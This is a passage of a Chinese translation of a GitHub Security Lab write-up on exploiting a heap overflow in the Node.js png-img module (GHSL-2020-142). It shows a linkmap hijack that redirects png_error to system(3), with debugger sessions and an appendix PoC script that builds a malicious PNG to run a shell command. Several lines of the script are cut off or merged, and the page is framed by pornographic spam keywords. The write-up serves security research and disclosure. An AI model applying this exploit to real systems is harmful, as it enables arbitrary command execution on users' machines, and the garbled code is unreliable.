成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

深入考察解釋型語(yǔ)言背后隱藏的攻擊面,Part 2(四)

安全 應(yīng)用安全
在本文中,我們將深入地探討,在通過(guò)外部函數(shù)接口(Foreign Function Interface,F(xiàn)FI)將基于C/C++的庫(kù)“粘合”到解釋語(yǔ)言的過(guò)程中,安全漏洞是如何產(chǎn)生的。

在本文中,我們將深入地探討,在通過(guò)外部函數(shù)接口(Foreign Function Interface,F(xiàn)FI)將基于C/C++的庫(kù)“粘合”到解釋語(yǔ)言的過(guò)程中,安全漏洞是如何產(chǎn)生的。

接上文:

 

[[374305]]

戰(zhàn)略規(guī)劃

我們知道,雖然已經(jīng)可以完全控制linkmap,但我們?nèi)詿o(wú)法控制通過(guò)硬編碼PLT參數(shù)傳遞給解析器代碼的reloc_arg參數(shù),在我們的示例中,png_error的參數(shù)為0x11d(285)。這個(gè)值的作用,是用作png-img模塊的重定位段(.rela.plt) 的索引。

  1. anticomputer@dc1:~$ readelf -r ~/node_modules/png-img/build/Release/png_img.node 
  2. … 
  3. Relocation section '.rela.plt' at offset 0x9410 contains 378 entries: 
  4.   Offset          Info           Type           Sym. Value    Sym. Name + Addend 
  5. … 
  6. 000000263900  011000000007 R_X86_64_JUMP_SLO 000000000001cae0 png_error + 0 
  7. ... 

除此之外,我們也不知道被破壞的linkmap在內(nèi)存中的位置。同時(shí),由于堆的基地址是隨機(jī)的,所以,我們唯一已知的數(shù)據(jù)都是拜測(cè)試平臺(tái)上node二進(jìn)制文件的非PIE特性所賜。因此,我們?nèi)匀粺o(wú)法在內(nèi)存中的已知位置處偽造相應(yīng)的段,以便與我們精心制作的linkmap一起使用。

盡管如此,我們現(xiàn)在已經(jīng)到了有趣的部分:制定戰(zhàn)略,考慮如何將我們的堆內(nèi)存控制與我們對(duì)解析器和目標(biāo)二進(jìn)制的了解結(jié)合起來(lái),重定向執(zhí)行流程。

我們的既定目標(biāo)是通過(guò)加載帶有png-img的惡意PNG來(lái)執(zhí)行任意命令。

針對(duì)任意命令執(zhí)行的頭腦風(fēng)暴

我們回憶一下,png_ptr分塊與linkmap分塊是相鄰的。并且,linkmap的第一個(gè)字段是l_addr字段,這個(gè)字段應(yīng)該就是庫(kù)的基地址,各種重定位和函數(shù)偏移都是以它為基礎(chǔ)的。

我們可以覆蓋堆數(shù)據(jù),粒度為rowbytes,簡(jiǎn)單來(lái)說(shuō)就是我們PNG圖片的寬度。libpng接受的最小的rowbytes值與用于溢出的高度值結(jié)合起來(lái)就是3,也就是說(shuō),我們可以采取的最小的堆覆蓋步驟是每行迭代3個(gè)字節(jié)。在little endian平臺(tái)上,我們可以覆蓋linkmap的l_addr字段中最低有效字節(jié),以使png_error解析在其預(yù)期的函數(shù)起始地址之外,而不會(huì)破壞linkmap中的任何其他指針。然而,這使得我們無(wú)法在調(diào)用錯(cuò)誤對(duì)齊的png_error時(shí)控制png_ptr參數(shù),因?yàn)榭刂七@些數(shù)據(jù)需要覆蓋一個(gè)完整的linkmap。事實(shí)證明,在png_error附近沒(méi)有足夠多的有用指令來(lái)控制進(jìn)程。由于ASLR的原因,我們無(wú)法對(duì)l_addr進(jìn)行更激進(jìn)的局部覆蓋,因?yàn)槲覀兒芸炀蜁?huì)碰到庫(kù)基地址的熵區(qū)域,而且我們只有一次嘗試機(jī)會(huì)。

所以,我們需要重新規(guī)劃一下。

理想情況下,我們?cè)O(shè)計(jì)一個(gè)場(chǎng)景,其中我們可以為png_error重定位索引285提供任意重定位記錄。這樣的話,我們就能夠完全控制(偽造的)符號(hào)表的索引。

我們可以將node的GOT段(其中包含許多已經(jīng)解析好的libc指針)用作一個(gè)偽造的符號(hào)表,這樣我們精心制作的重定位記錄就能以獲取一個(gè)現(xiàn)有l(wèi)ibc地址作為符號(hào)的sym->st_value的方式來(lái)索引node GOT。然后,我們可以借助對(duì)l->l_addr的控制能力,從這個(gè)現(xiàn)有的libc地址進(jìn)行偏移,并將執(zhí)行重定向到我們希望的任何其他libc的.text段地址。

由于我們可以在解析png_error時(shí)控制加載到rdi寄存器中的png_ptr數(shù)據(jù)(即,根據(jù)Linux 64bit intel平臺(tái)上使用的System V AMD64 ABI的第一個(gè)參數(shù)),我們可以設(shè)法解析為system(3),并從我們控制之下的png_ptr數(shù)據(jù)中提供一個(gè)任意的命令來(lái)執(zhí)行。

由于最終修復(fù)的重定位偏移量也處于我們精心制作的重定位記錄的控制之下,所以,我們可以簡(jiǎn)單地將l->l_addr值加到它上面,并將其指向某個(gè)安全的內(nèi)存位置,以便在控制進(jìn)程之前,在重定位修復(fù)中幸存下來(lái)。

這將是一個(gè)理想的方案。不過(guò),當(dāng)前面臨的挑戰(zhàn)是:在已知位置沒(méi)有受控?cái)?shù)據(jù),也無(wú)法控制reloc_arg的情況下,我們?nèi)绾翁峁┤我獾闹囟ㄎ挥涗?

曙光乍現(xiàn)

面對(duì)上面所說(shuō)的挑戰(zhàn),一個(gè)重要的線索是,l_info[DT_JMPREL]是通過(guò)對(duì)指向.dynamic段的指針以解除引用的方式獲得的。前面說(shuō)過(guò),解析器并不直接引用它需要訪問(wèn)的各個(gè)段,而是獲取指向所需節(jié)的.dynamic條目的指針,然后查詢其d_ptr字段以獲得指向相關(guān)段的實(shí)際指針。

更直白地說(shuō),解析器將使用我們的受控指針來(lái)獲取l_info[DT_JMPREL],并在該指針的偏移量8處,獲取另一個(gè)指針值,這個(gè)指針值應(yīng)該就是實(shí)際的段地址。

這對(duì)我們有什么幫助呢?

好吧,我們說(shuō)過(guò):我們可以把data_分塊放到堆上的任意位置,但我們無(wú)法可靠地把它擠在linkmap和png_ptr分塊之間。但是,如果我們把它放在linkmap分塊前面的某個(gè)地方會(huì)怎樣呢?這將導(dǎo)致覆蓋大量的堆空間,從而控制這些堆空間中的內(nèi)容。

在利用漏洞的時(shí)候,我們與堆的交互是非常有限的,因?yàn)闆](méi)有很多的分配或釋放操作發(fā)生。實(shí)際上,我們只是在一個(gè)循環(huán)中,簡(jiǎn)單地將我們控制的數(shù)據(jù)行寫入堆中,直到用完行數(shù)據(jù),這時(shí),png_error的解析邏輯就啟動(dòng)了。

所以,至少在我們的PoC場(chǎng)景中,我們可以有效地覆蓋相當(dāng)一部分堆內(nèi)存,直到達(dá)到我們需要控制的數(shù)量為止,這不會(huì)帶來(lái)太多的穩(wěn)定性問(wèn)題。

我們還知道,我們處理的是一個(gè)非PIE二進(jìn)制文件。所以,我們知道它的.data段的具體地址。在node的.data段中,會(huì)含有大量的結(jié)構(gòu)體,這些結(jié)構(gòu)體在運(yùn)行時(shí)可能含有指向堆內(nèi)存的指針。如果我們覆蓋了堆中足夠多的內(nèi)存空間,其中一些指針就可能指向我們控制的數(shù)據(jù),準(zhǔn)確來(lái)說(shuō),這些指針將位于.data段的靜態(tài)位置。

那么,如果我們重新調(diào)整其中一個(gè).data位置的用途,將其用于我們的l_info[DT_JMPREL]的.dynamic條目指針,結(jié)果會(huì)如何呢?我們也許可以用它來(lái)為 _dl_fixup 提供一個(gè)完全受控的重定位記錄。由于在我們的目標(biāo)平臺(tái)上,重定位記錄的大小是24(3x8字節(jié)),而png_error reloc_arg的大小是285,只要我們可以將正確對(duì)齊的重定位記錄放置在距獲取堆指針的node .data的285x24偏移處,我們就應(yīng)該能夠破壞解析器的邏輯。

隨后,我們可以使用類似的方法找到一個(gè)靜態(tài)位置,在+8處包含一個(gè)指向node二進(jìn)制代碼GOT的指針,并將其用作l_info [DT_SYMTAB] .dynamic條目指針。在與制作好的重定位記錄一致的情況下,我們可以索引到節(jié)點(diǎn)GOT中,從而獲得一個(gè)現(xiàn)有的libc指針值,并使用我們制作好的linkmap的l_addr字段作為到一個(gè)所需的libc函數(shù)的增量,在我們的例子中,這個(gè)函數(shù)就是system(3)。

深入考察解釋型語(yǔ)言背后隱藏的攻擊面,Part 2(四)

綜合起來(lái)

現(xiàn)在,我們已經(jīng)有了一個(gè)初步的漏洞利用策略,我們就必須收集所有的要素,來(lái)將我們的攻擊計(jì)劃付諸實(shí)施。

從漏洞利用的可靠性的角度來(lái)看,我們當(dāng)前策略的缺點(diǎn)是它高度依賴二進(jìn)制代碼,并且對(duì)堆布局高度敏感。因此,我們認(rèn)為這充其量只能算是一個(gè)PoC。因?yàn)樗叨纫蕾囉谠絹?lái)越少見的非PIE node的二進(jìn)制代碼,以及從data_ chunks到linkmap和png_ptr chunks的可預(yù)測(cè)堆偏移。

話雖如此,我們拿它在啟用了各種防御功能的系統(tǒng)上來(lái)練練手,還是非常不錯(cuò)的。

為了把我們的策略付諸實(shí)施,我們需要:

  • 能把溢出分塊放到linkmap分塊的前面data_分塊的合適大小。
  • data_ 分塊和linkmap分塊之間的偏移量。
  • 從node二進(jìn)制代碼GOT到偏移量的合適的libc指針。
  • 一個(gè)已知的node指針,指向一個(gè)指向node GOT基址的指針。
  • 一個(gè)已知的node指針,指向一個(gè)指向受控堆內(nèi)存的指針。
  • 從源libc指針到目標(biāo)libc函數(shù)指針的偏移量。
  • 一個(gè)用于接收最終的_dl_fixup重定位寫入的安全的內(nèi)存區(qū)域。

首先,讓我們找到一個(gè)合適的空閑塊,以便在調(diào)用PngImg::PngImg構(gòu)造函數(shù)時(shí),可以將data_分塊保存到這個(gè)空閑塊中。我們可以使用gef的heap bins命令來(lái)顯示哪些bins有可用的空閑分塊,以及它們?cè)趦?nèi)存中的位置。

我們要尋找的是一個(gè)與linkmap分塊的位置離得較遠(yuǎn)的分塊,這樣我們就有很好的機(jī)會(huì)通過(guò)node的.data的堆指針從堆中提供可控的重定位記錄。但是,我們也不想因?yàn)閾?dān)心不穩(wěn)定而破壞整個(gè)堆的內(nèi)容。

我們可以在unsorted的bin中找到一個(gè)看似合適的大小為0x2010的空閑塊:

  1. ─────────────────────────────────────── Unsorted Bin for arena 'main_arena' ───────────────────────────────────────[+] unsorted_bins[0]: fw=0x271f0b0bk=0x272c610 
  2.  →   Chunk(addr=0x271f0c0size=0x2010flags=PREV_INUSE)   →   Chunk(addr=0x2722ef0size=0x1b30flags=PREV_INUSE)   →   Chunk(addr=0x2717400size=0x430flags=PREV_INUSE)   →   Chunk(addr=0x272c620size=0x4450flags=PREV_INUSE
  3. [+] Found 4 chunks in unsorted bin. 

通過(guò)將data_ size設(shè)置為0x2010,我們可以將這個(gè)空閑塊塞進(jìn)這個(gè)位于偏移量0x3950處的分塊中,這個(gè)分塊最終將成為我們的linkmap分塊。當(dāng)然,這個(gè)假設(shè)在任何現(xiàn)實(shí)情形下都是非常不穩(wěn)定的,但在我們的練習(xí)中,不妨假設(shè)它是成立的。

同時(shí),我們讓rowbytes(寬度)取值為16,以便為堆溢出提供一個(gè)已經(jīng)對(duì)齊的、細(xì)粒度的寫入原語(yǔ)。

我們注意到,由于符號(hào)表項(xiàng)長(zhǎng)24個(gè)字節(jié),而St_value字段在Symbol結(jié)構(gòu)體中的偏移量為8,所以,我們從node二進(jìn)制GOT中選擇的libc指針(用作St_value),必須位于距24字節(jié)對(duì)齊索引的偏移量8處。例如,一個(gè)指定Symtab索引為1的重定位記錄,將意味著在node GOT的偏移量32處取值,并將其作為Symbol的st_value。

我們還注意到,偽造的符號(hào)條目的st_other字段決定了我們是否在_dl_fixup中根據(jù)符號(hào)的可見性來(lái)進(jìn)入更復(fù)雜的符號(hào)查找路徑。因?yàn)槲覀兿矚g盡可能地保持簡(jiǎn)單,所以,對(duì)于在我們的st_value字段之前的GOT條目,應(yīng)該設(shè)法不讓它通過(guò)_dl_fixup中的if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)的檢查。這實(shí)際上只是意味著偽造的符號(hào)表?xiàng)l目中st_other字段(字節(jié)6)的低2位不應(yīng)該是0。當(dāng)然,這需要一定的運(yùn)氣,但大多數(shù)GOT段中都存在符合這一要求的指針。另外,可見性檢查是使用以下宏完成的:

  1. elf.h: 
  2.   
  3.   
  4. /* How to extract and insert information held in the st_other field.  */ 
  5. #define ELF32_ST_VISIBILITY(o)  ((o) & 0x03) 
  6.   
  7.   
  8. /* For ELF64 the definitions are the same.  */ 
  9. #define ELF64_ST_VISIBILITY(o)  ELF32_ST_VISIBILITY (o) 
  10.   
  11.   
  12. /* Symbol visibility specification encoded in the st_other field.  */ 
  13. #define STV_DEFAULT     0               /* Default symbol visibility rules */ 
  14. #define STV_INTERNAL    1               /* Processor specific hidden class */ 
  15. #define STV_HIDDEN      2               /* Sym unavailable in other modules */ 
  16. #define STV_PROTECTED   3               /* Not preemptible, not exported */ 

在我們的測(cè)試平臺(tái)上,getockopt的node二進(jìn)制GOT條目很符合我們的要求:它的前面有一個(gè)指針值,這個(gè)指針值會(huì)通過(guò)ST_VISIBILITY檢查,這樣我們就不必在linkmap中使用更復(fù)雜的解析器邏輯。所以,我們將使用getockopt來(lái)偏移到所需的系統(tǒng)libc目標(biāo)。這兩個(gè)libc偏移量之間的差值將是我們?cè)趌inkmaps l_addr字段中設(shè)置的delta值。

接下來(lái),讓我們首先從node二進(jìn)制代碼中收集我們需要的所有地址信息。

  1. # grab the libc offsets of getsockopt and system using readelf -s, 
  2. anticomputer@dc1:~$ readelf -s /lib/x86_64-linux-gnu/libc-2.27.so 
  3. ... 
  4.   1403: 000000000004f550    45 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.2.5 
  5.      959: 0000000000122830    36 FUNC    WEAK   DEFAULT   13 getsockopt@@GLIBC_2.2.5 
  6.   
  7. # determine the node binary GOT entry for getsockopt with readelf -r 
  8. anticomputer@dc1:~$ readelf -r /usr/bin/node | grep getsockopt 
  9. 00000264d8f8  011800000007 R_X86_64_JUMP_SLO 0000000000000000 getsockopt@GLIBC_2.2.5 + 0 
  10.   
  11. # grab the node GOT section start address with readelf -t 
  12. anticomputer@dc1:~$ readelf -t /usr/bin/node 
  13. There are 40 section headers, starting at offset 0x274f120: 
  14.   
  15. Section Headers: 
  16.   [Nr] Name 
  17.        Type              Address          Offset            Link 
  18.        Size              EntSize          Info              Align 
  19.        Flags 
  20. … 
  21.   [26] .got 
  22.        PROGBITS               PROGBITS         000000000264d038  000000000204d038  0 
  23.        0000000000000fc8 0000000000000008  0                 8 
  24.        [0000000000000003]: WRITE, ALLOC 

接下來(lái),我們必須在node的.data段中尋找這樣一個(gè)堆指針,它指向位于我們控制的偏移量285x24處的數(shù)據(jù)。通過(guò)一個(gè)小型的GDB腳本,我們就可以很快找到符合要求的候選者。我們的腳本將搜索node的.data段,以尋找位于我們控制的數(shù)據(jù)區(qū)域內(nèi)或其附近的堆指針。

注意:在啟用ASLR后,這些堆地址將在每次運(yùn)行時(shí)發(fā)生變化,所以這個(gè)腳本示例只與我們的調(diào)試會(huì)話快照相關(guān)。然而,當(dāng)實(shí)際運(yùn)行漏洞利用代碼時(shí),考慮到面對(duì)的是非PIE型的node二進(jìn)制代碼,所以,我們可以預(yù)期得到一個(gè)一致的.data指針位置,并期望該位置將包含用于實(shí)際運(yùn)行上下文的可用堆指針。

  1. gef?  set $c=(unsigned long long *)0x264c000 
  2. gef? 
  3. gef?  set $done=1 
  4. gef?  while ($done) 
  5.  >if ((*$c&0xffffffffffff0000)==0x02720000) 
  6.   >set $done=0 
  7.   >end 
  8.  >set $c=$c+1 
  9.  >end 
  10. gef?  p/x $c 
  11. $551 = 0x26598c8 
  12. gef?  x/3gx (*($c-1))+285*24 
  13. 0x2726508:      0x00007fff00000013      0x0000000000000000 
  14. 0x2726518:      0x0000000000000021 
  15. gef?  set $done=1 
  16. gef?  while ($done) 
  17.  >if ((*$c&0xffffffffffff0000)==0x02720000) 
  18.   >set $done=0 
  19.   >end 
  20.  >set $c=$c+1 
  21.  >end 
  22. gef?  p/x $c 
  23. $552 = 0x265b9e8 
  24. gef?  x/3gx (*($c-1))+285*24 
  25. 0x2722f10:      0x4141414141414141      0x4141414141414141 
  26. 0x2722f20:      0x4141414141414141 
  27. gef?  x/x 0x265b9e0 
  28. 0x265b9e0 
  29. gef? 

所以我們找到了一個(gè)潛在可用的.data位置(0x265b9e0),該位置將包含一個(gè)位于偏移量285x24處的堆指針,該指針將指向受控?cái)?shù)據(jù)。

最后,我們必須在node二進(jìn)制代碼中找到這樣一個(gè)位置:它在+8處包含一個(gè)指向node的.got段的指針。這并非難事,因?yàn)閚ode二進(jìn)制代碼肯定會(huì)引用各個(gè)二進(jìn)制段。

  1. objdump -h: 
  2.  25 .got          00000fc8  000000000264d038  000000000264d038  0204d038  2**3 
  3.   
  4.   
  5. (gdb) set $p=(unsigned long long *)0x400000 # search from node .text base upwards 
  6. (gdb) while (*$p!=0x000000000264d038) 
  7.  >set $p=$p+1 
  8.  >end 
  9. (gdb) x/x $p 
  10. 0x244cf20:      0x000000000264d038 
  11. (gdb) 

現(xiàn)在,我們已經(jīng)收集好了所有的素材,這樣就可以編寫PoC代碼了。總結(jié)一下,我們將構(gòu)建一個(gè)偽造的linkmap,它符合以下約束條件:

  • l_addr字段將是libc的getockopt偏移量和libc的系統(tǒng)偏移量之間的增量。
  • l_info[DT_STRTAB]條目將是一些有效的指針值,因?yàn)槲覀兊哪康氖翘^(guò)基于字符串的符號(hào)查找,它只需要能夠安全地解除引用即可。
  • l_info[DT_SYMTAB]條目將是一個(gè)指向某個(gè)位置的指針,該位置在+8處有一個(gè)指向node的.got段起始地址的指針。
  • l_info[DT_JMPREL]條目將是指向某個(gè)位置的指針,該位置在+8處包含一個(gè)堆指針,該指針基于png_error解析的reloc_arg值指向偏移量285 x 24處的受控偽造重定位記錄。

偽造的重定位記錄將為偽造的符號(hào)表(node的二進(jìn)制代碼的.got段)提供一個(gè)索引,這樣符號(hào)的st_value字段就是之前解析的指向getockopt的libc指針。它還將提供一個(gè)重定位偏移量(它是相對(duì)于safe-to-write內(nèi)存區(qū)域的),這樣我們的成果就可以在_dl_fixup中的最后一次重定位寫入操作后幸存下來(lái)。

解析器將把我們?cè)趌inkmap的l_addr字段中設(shè)置的libc增量與偽造的符號(hào)的st_value字段相加,其中st_value字段存放的是解析的getsockopt libc函數(shù)指針值。相加之后,得到的就是system(3)函數(shù)的libc地址。

由于我們還破壞了png_error的png_ptr參數(shù),因此,當(dāng)我們最終從為png_error劫持的_dl_resolve跳轉(zhuǎn)到system(3)時(shí),我們能夠提供并執(zhí)行任意命令。對(duì)于我們的PoC來(lái)說(shuō),我們將執(zhí)行“touch /tmp/itworked”命令。

用我們的PoC腳本準(zhǔn)備好觸發(fā)漏洞的PNG文件后,就可以將其移動(dòng)到我們的調(diào)試環(huán)境中了:

  1. ? ~ ? python3 x_trigger.py 
  2. ? ~ ? file trigger.png 
  3. trigger.png: PNG image data, 16 x 268435968, 8-bit grayscale, non-interlaced 
  4. ? ~ ?  scp trigger.png anticomputer@builder:~/ 
  5. trigger.png                                                                                                                                                                                          100% 1024     1.7MB/s   00:00 
  6. ? ~ ? 

我們先在調(diào)試器里面運(yùn)行易受攻擊的node程序,并將斷點(diǎn)設(shè)置在system(3)上:

  1. gef?  r ~/pngimg.js 
  2. ... 
  3. [#0] 0x7ffff6ac6fc0 → do_system(line=0x2722ef0 "touch /tmp/itworked #", 'P' 
  4. [#1] 0x7ffff4030e63 → png_read_row() 
  5. [#2] 0x7ffff4032899 → png_read_image() 
  6. [#3] 0x7ffff40226d8 → PngImg::PngImg(char const*, unsigned long)() 
  7. [#4] 0x7ffff401c8fa → PngImgAdapter::New(Nan::FunctionCallbackInfo 
  8. [#5] 0x7ffff401c56f → _ZN3Nan3impL23FunctionCallbackWrapperERKN2v820FunctionCallbackInfoINS1_5ValueEEE() 
  9. [#6] 0xb9041b → v8::internal::MaybeHandle 
  10. [#7] 0xb9277d → v8::internal::Builtins::InvokeApiFunction(v8::internal::Isolate*, bool, v8::internal::Handle 
  11. [#8] 0xea2cc1 → v8::internal::Execution::New(v8::internal::Isolate*, v8::internal::Handle 
  12. [#9] 0xb28ed6 → v8::Function::NewInstanceWithSideEffectType(v8::Local 
  13. ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── 
  14. Thread 1 "node" hit Breakpoint 1, do_system (line=0x2722ef0 "touch /tmp/itworked #", 'P' 
  15. 56      { 
  16. gef?  p "success!" 
  17. $1 = "success!" 
  18. gef? 

太棒了!看起來(lái)代碼在調(diào)試階段一切正常。現(xiàn)在,讓我們?cè)跊](méi)有附加調(diào)試器的情況下運(yùn)行一下。

  1. anticomputer@dc1:~/glibc/glibc-2.27/elf$ rm /tmp/itworked 
  2. anticomputer@dc1:~/glibc/glibc-2.27/elf$ /usr/bin/node ~/pngimg.js 
  3. Segmentation fault (core dumped) 
  4. anticomputer@dc1:~/glibc/glibc-2.27/elf$ ls -alrt /tmp/itworked 
  5. -rw-rw-r-- 1 anticomputer anticomputer 0 Nov 23 20:53 /tmp/itworked 
  6. anticomputer@dc1:~/glibc/glibc-2.27/elf$ 

盡管node進(jìn)程確實(shí)因?yàn)槎褤p壞而發(fā)生了崩潰,但是,這一切都發(fā)生在實(shí)現(xiàn)任意命令執(zhí)行之后。

無(wú)論如何,我們的任務(wù)已經(jīng)完成了。

我們的PoC開發(fā)任務(wù)現(xiàn)在已經(jīng)大功告成:我們已經(jīng)為利用png-img FFI漏洞成功打通了所有環(huán)節(jié)。雖然從攻擊者的角度來(lái)看,可靠性仍然是現(xiàn)實(shí)利用過(guò)程中的一個(gè)令人擔(dān)憂的問(wèn)題,但這足以讓我們證明該漏洞的潛在影響。

讀者可以在附錄A中找到完整的exploit代碼。

小結(jié)

在本系列文章中,我們以Node.js FFI漏洞的利用過(guò)程為例,為讀者深入介紹了隱藏在解釋型語(yǔ)言底層攻擊面。當(dāng)然,我們的最終目標(biāo)是為大家演示內(nèi)存安全漏洞是如何通過(guò)基于FFI的攻擊面潛入解釋型語(yǔ)言應(yīng)用程序的。同時(shí),我們?yōu)樽x者介紹了exploit的開發(fā)之旅,并演示了攻擊者是如何評(píng)估代碼中的bug的潛在利用價(jià)值的。

附錄A: png-img PoC exploit

  1. # PoC exploit for GHSL-2020-142, linkmap hijack demo 
  2.   
  3.   
  4. """ 
  5. anticomputer@dc1:~/glibc/glibc-2.27/elf$ uname -a 
  6. Linux dc1 4.15.0-122-generic #124-Ubuntu SMP Thu Oct 15 13:03:05 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux 
  7.   
  8.   
  9. anticomputer@dc1:~/glibc/glibc-2.27/elf$ node -v 
  10. v10.22.0 
  11.   
  12.   
  13. anticomputer@dc1:~/glibc/glibc-2.27/elf$ npm list png-img 
  14. /home/anticomputer 
  15. └── png-img@2.3.0 
  16.   
  17.   
  18. anticomputer@dc1:~/glibc/glibc-2.27/elf$ cat /etc/lsb-release 
  19. DISTRIB_ID=Ubuntu 
  20. DISTRIB_RELEASE=18.04 
  21. DISTRIB_CODENAME=bionic 
  22. DISTRIB_DESCRIPTION="Ubuntu 18.04.4 LTS" 
  23. """ 
  24.   
  25.   
  26. from PIL import Image 
  27. import os 
  28. import struct 
  29. import sys 
  30. import zlib 
  31.   
  32.   
  33. def patch(path, offset, data): 
  34.     f = open(path, 'r+b') 
  35.     f.seek(offset) 
  36.     f.write(data) 
  37.     f.close() 
  38.   
  39.   
  40. # libc binary info 
  41. libc_system_off = 0x000000000004f550 
  42. libc_getsockopt_off = 0x0000000000122830 
  43. libc_delta = (libc_system_off - libc_getsockopt_off) & 0xffffffffffffffff 
  44.   
  45.   
  46. # node binary info 
  47. node_getsockopt_got = 0x00000264d8f8 
  48. node_got_section_start = 0x000000000264d038 
  49. node_safe_ptr = 0x000000000264e000 + 0x1000 
  50.   
  51.   
  52. # calculate what our reloc index should be to align getsockopt as sym->st_value 
  53. node_reloc_index_wanted = int((node_getsockopt_got-node_got_section_start)/8) - 1 
  54. if node_reloc_index_wanted % 3: 
  55.     print("[x] node .got entry not aligned to reloc record size ...") 
  56.     sys.exit(0) 
  57. node_reloc_index = int(node_reloc_index_wanted/3) 
  58.   
  59.   
  60. # our l_info['DT_SYMTAB'] entry is pointer that at +8 has a pointer to node's got section 
  61. dt_symtab_p = 0x244cf20-8 
  62.   
  63.   
  64. # our l_info['DT_JMPREL'] entry is a pointer that at +8 has a heap pointer to our fake reloc records 
  65. dt_jmprel_p = 0x265b9e0-8 
  66.   
  67.   
  68. # our l_info['DT_STRTAB'] entry is just some valid pointer since we skip string lookups 
  69. dt_symtab_pdt_symtab_p = dt_symtab_p 
  70.   
  71.   
  72. # build our heap overwrite 
  73. trigger = 'trigger.png' 
  74. heap_rewrite = b'' 
  75. # pixel bits is 8, set rowbytes to 16 via width 
  76. width = 0x10 
  77. heap_data_to_linkmap_off = 0x3950-0x10 # offset from data_ chunk to linkmap chunk 
  78. heap_data_chunk_size = 0x2010 # needs to be aligned on width 
  79. heap_linkmap_chunk_size = 0x4e0 
  80.   
  81.   
  82. # spray fake reloc records up until linkmap chunk data 
  83. fake_reloc_record = b'' 
  84. fake_reloc_record += struct.pack('<Q', (node_safe_ptr - libc_delta) & 0xffffffffffffffff) # r_offset 
  85. fake_reloc_record += struct.pack('<Q', (node_reloc_index<<32) | 7) # r_info, type: ELF_MACHINE_JMP_SLOT 
  86. fake_reloc_record += struct.pack('<Q', 0xdeadc0dedeadc0de) # r_addend 
  87. reloc_record_spray = b'' 
  88. reloc_align = b'' 
  89. reloc_record_spray += reloc_align 
  90. reloc_record_spray += fake_reloc_record * int((heap_data_to_linkmap_off-len(reloc_align))/24) 
  91. reloc_record_spray += b'P' * (heap_data_to_linkmap_off-len(reloc_record_spray)) 
  92.   
  93.   
  94. heap_rewrite += reloc_record_spray 
  95.   
  96.   
  97. # linkmap chunk overwrite 
  98. fake_linkmap = b'' 
  99. # linkmap chunk header 
  100. fake_linkmap += struct.pack('<Q', 0x4141414141414141) 
  101. fake_linkmap += struct.pack('<Q', 0x4141414141414141) # keep PREV_INUSE 
  102. # start of linkmap data 
  103. fake_linkmap += struct.pack(' 
  104. fake_linkmap += struct.pack('<Q', 0xdeadc1dedeadc0de) * 12 # pad 
  105. fake_linkmap += struct.pack(' 
  106. fake_linkmap += struct.pack(' 
  107. fake_linkmap += struct.pack('<Q', 0xdeadc2dedeadc0de) * 16 # pad 
  108. fake_linkmap += struct.pack(' 
  109. # pad up until png_ptr chunk 
  110. fake_linkmap += b'P' * (heap_linkmap_chunk_size-len(fake_linkmap)) 
  111.   
  112.   
  113. heap_rewrite += fake_linkmap 
  114.   
  115.   
  116. # png_ptr chunk overwrite, this is where we pack our argument to system(3) 
  117. cmd = b'touch /tmp/itworked #' 
  118. png_ptr = b'' 
  119. # png_ptr chunk header 
  120. png_ptr += struct.pack('L', crc)) 
  121.   
  122.   
  123. # for playing with the early file allocation itself 
  124. f = open(trigger, 'ab') 
  125. f_size = os.path.getsize(trigger) 
  126. f_size_wanted = 1024 
  127. f.write(b'P'* (f_size_wanted - f_size)) 
  128. f.close() 

本文翻譯自:https://securitylab.github.com/research/now-you-c-me-part-two

 

責(zé)任編輯:趙寧寧 來(lái)源: 嘶吼網(wǎng)
相關(guān)推薦

2020-12-30 10:26:47

攻擊面語(yǔ)言安全漏洞

2021-01-03 10:44:45

攻擊面語(yǔ)言安全漏洞

2021-01-05 09:51:18

攻擊面語(yǔ)言安全漏洞

2020-12-10 14:37:43

攻擊面語(yǔ)言安全漏洞

2020-12-15 13:24:41

攻擊面語(yǔ)言安全漏洞

2022-04-27 05:36:51

攻擊面網(wǎng)絡(luò)攻擊網(wǎng)絡(luò)安全

2020-06-02 09:50:40

信息安全數(shù)據(jù)技術(shù)

2021-01-21 21:07:03

信息安全漏洞治理

2022-12-07 10:28:22

2021-07-09 09:09:47

ASM攻擊面管理安全觀察

2022-02-14 17:13:46

攻擊面管理網(wǎng)絡(luò)安全

2022-06-16 10:02:39

EASM攻擊面管理

2022-07-29 12:42:35

攻擊面管理

2018-11-03 05:00:29

微隔離網(wǎng)絡(luò)攻擊漏洞

2021-06-30 10:10:01

企業(yè)攻擊漏洞網(wǎng)絡(luò)安全

2021-11-29 18:13:31

攻擊面漏洞網(wǎng)絡(luò)攻擊

2020-08-31 10:54:05

勒索軟件漏洞網(wǎng)絡(luò)安全

2018-11-19 22:59:31

2014-03-19 10:25:14

2023-08-24 12:13:40

點(diǎn)贊
收藏

51CTO技術(shù)棧公眾號(hào)

主站蜘蛛池模板: 国产精品高清一区二区三区 | 久久午夜精品福利一区二区 | 国产99视频精品免费视频7 | 国产精品福利视频 | 国产成人亚洲精品 | 午夜激情在线视频 | 黄色电影在线免费观看 | 日韩有码一区 | 久热精品免费 | 久久久激情视频 | 夜夜艹 | 欧美性猛交一区二区三区精品 | 久久激情五月丁香伊人 | 国产精品不卡视频 | 久久精品久久久久久 | 国产精品久久久久久久久久久久久久 | 亚洲精品久久久9婷婷中文字幕 | 亚洲成人福利 | 国产精品成人一区二区三区夜夜夜 | 黄色免费在线网址 | 国产高清精品一区二区三区 | 国产精品综合网 | 欧美极品视频在线观看 | 久久综合成人精品亚洲另类欧美 | 四虎影院欧美 | 男女视频在线看 | 国产日韩一区二区三免费高清 | 成人午夜激情 | 国产精品久久久久久久久久久免费看 | 91精品国产综合久久久久久漫画 | 久久亚洲春色中文字幕久久久 | 99pao成人国产永久免费视频 | 亚洲网站在线观看 | 狠狠的操| 精品国产精品三级精品av网址 | 亚洲国产日韩欧美 | 国产高清在线精品一区二区三区 | 亚洲成人毛片 | 亚洲激情av| 亚洲视频三 | 自拍 亚洲 欧美 老师 丝袜 |